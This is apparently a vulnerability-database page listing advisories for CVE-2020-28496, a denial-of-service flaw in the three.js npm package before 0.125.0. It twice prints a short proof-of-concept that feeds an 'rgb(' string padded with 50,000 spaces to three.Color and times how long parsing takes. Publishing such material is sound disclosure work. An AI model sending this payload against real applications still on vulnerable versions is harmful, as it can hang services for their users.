Most recent entries from all

EUVD-2026-179169

fkie_cve-2020-28496

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

GHSA-fq6p-x6j3-cmmq — Denial of service in three

Affected: npm: three

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors.

**PoC:** ```js var three = require('three') function build_blank(n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost + " ms") ```

gsd-2020-28496

UBUNTU-CVE-2020-28496

Affected: Ubuntu:16.04:LTS: three.js, Ubuntu:18.04:LTS: three.js, Ubuntu:20.04:LTS: three.js, Ubuntu:22.04:LTS: three.js, Ubuntu:24.04:LTS: three.js, Ubuntu:25.10: three.js, Ubuntu:26.04:LTS: three.js